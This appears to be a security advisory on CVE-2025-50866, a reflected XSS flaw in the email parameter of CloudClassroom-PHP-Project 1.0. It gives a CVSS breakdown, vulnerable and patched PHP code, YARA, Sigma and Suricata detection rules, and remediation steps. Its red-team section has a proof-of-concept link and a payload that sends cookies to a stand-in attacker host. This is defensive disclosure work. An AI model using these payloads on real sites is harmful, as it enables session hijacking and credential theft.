CVE-2025-50866

Executive Summary

CVE-2025-50866 is a reflected Cross-Site Scripting (XSS) vulnerability in the CloudClassroom-PHP-Project version 1.0. The flaw exists in the email parameter of the postquerypublic endpoint. Due to improper sanitization of user-supplied input, an attacker can inject arbitrary JavaScript code that executes in the context of the victim's browser. This can lead to session hijacking, credential theft, or phishing attacks. The vulnerability is unpatched, and no official fix is available from the vendor.

Supply Chain & Package Security

This vulnerability affects a PHP-based project (CloudClassroom-PHP-Project). It is not an NPM, PyPI, Go, or Ruby package. However, if this project is distributed via Composer or similar PHP package managers, the supply chain risk includes potential inclusion of the vulnerable code in downstream applications. No official patch or updated package version has been released.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (NVD) | Calculated: 6.1 (Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): Required – The victim must click a crafted link or visit a malicious page.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No impact on availability.

Threat Level: Medium. The vulnerability requires user interaction but can be chained with social engineering to achieve significant impact.

Deep Dive & Mechanics

The postquerypublic endpoint in CloudClassroom-PHP-Project 1.0 accepts an email parameter via GET or POST request. The application fails to sanitize or encode this input before reflecting it in the HTTP response. An attacker can craft a URL such as:

http://target/cloudclassroom/postquerypublic?email=<script>alert('XSS')</script>

When a victim visits this URL, the browser executes the injected script. The lack of proper output encoding (e.g., htmlspecialchars() in PHP) allows arbitrary HTML/JavaScript injection. This is a classic reflected XSS vulnerability.

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

<?php
// postquerypublic.php (vulnerable)
$email = $_GET['email'];
echo "Email: " . $email;
?>

Patched Code (PHP):

<?php
// postquerypublic.php (patched)
$email = htmlspecialchars($_GET['email'], ENT_QUOTES, 'UTF-8');
echo "Email: " . $email;
?>

The patched version uses htmlspecialchars() to encode special characters, preventing script execution.

Exploitation & Lab Setup

Red Team

Proof of Concept (PoC):

<!-- PoC: Send to victim -->
<a href="http://target/cloudclassroom/postquerypublic?email=<script>alert(document.cookie)</script>">Click me</a>

Advanced Payload (Session Hijacking):

<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

Lab Setup:

1. Install CloudClassroom-PHP-Project 1.0 on a local web server (e.g., XAMPP).
2. Access the vulnerable endpoint: http://localhost/cloudclassroom/postquerypublic?email=test.
3. Inject the PoC payload to verify XSS.

Blue Team

Detection:

• Monitor web logs for suspicious email parameters containing <script> tags or encoded JavaScript.
• Use WAF rules to block common XSS patterns.

Mitigation:

• Apply input validation and output encoding (see Remediation).
• Implement Content Security Policy (CSP) headers to restrict script execution.

Indicators of Compromise (IOCs)

• URL Pattern: */postquerypublic?email=*<script>*
• Log Entry: GET /cloudclassroom/postquerypublic?email=<script>alert(1)</script>
• Network Traffic: Outbound requests to attacker-controlled domains from the victim's browser.
• File Hashes: N/A (vulnerability is code-based, not file-based).

Detection Engineering

YARA Rule

rule detect_xss_email_param {
    meta:
        description = "Detects reflected XSS attempts in email parameter"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-50866"
    strings:
        $xss_pattern = /email=.*<script/i
    condition:
        $xss_pattern
}

Sigma Rule

title: Reflected XSS in CloudClassroom email Parameter
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS attempts targeting the email parameter in CloudClassroom
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'email='
        cs-uri-query|contains|all:
            - '<script'
            - '>'
    condition: selection
falsepositives:
    - Legitimate use of script tags in email (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-50866 Reflected XSS in CloudClassroom email parameter"; flow:to_server,established; content:"GET"; http_method; content:"/postquerypublic"; http_uri; content:"email="; http_uri; pcre:"/email=.*<script/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply output encoding using htmlspecialchars() or equivalent for all user-supplied data reflected in responses.
2. Implement a Web Application Firewall (WAF) rule to block requests containing <script> in the email parameter.
3. Restrict access to the vulnerable endpoint if not required.

Long-Term Fix:

• Upgrade to a patched version of CloudClassroom-PHP-Project once available.
• Conduct a full security audit of the application for similar vulnerabilities.

Workaround:

• If patching is not possible, disable the postquerypublic endpoint or add input validation at the web server level (e.g., mod_rewrite).

Valters IT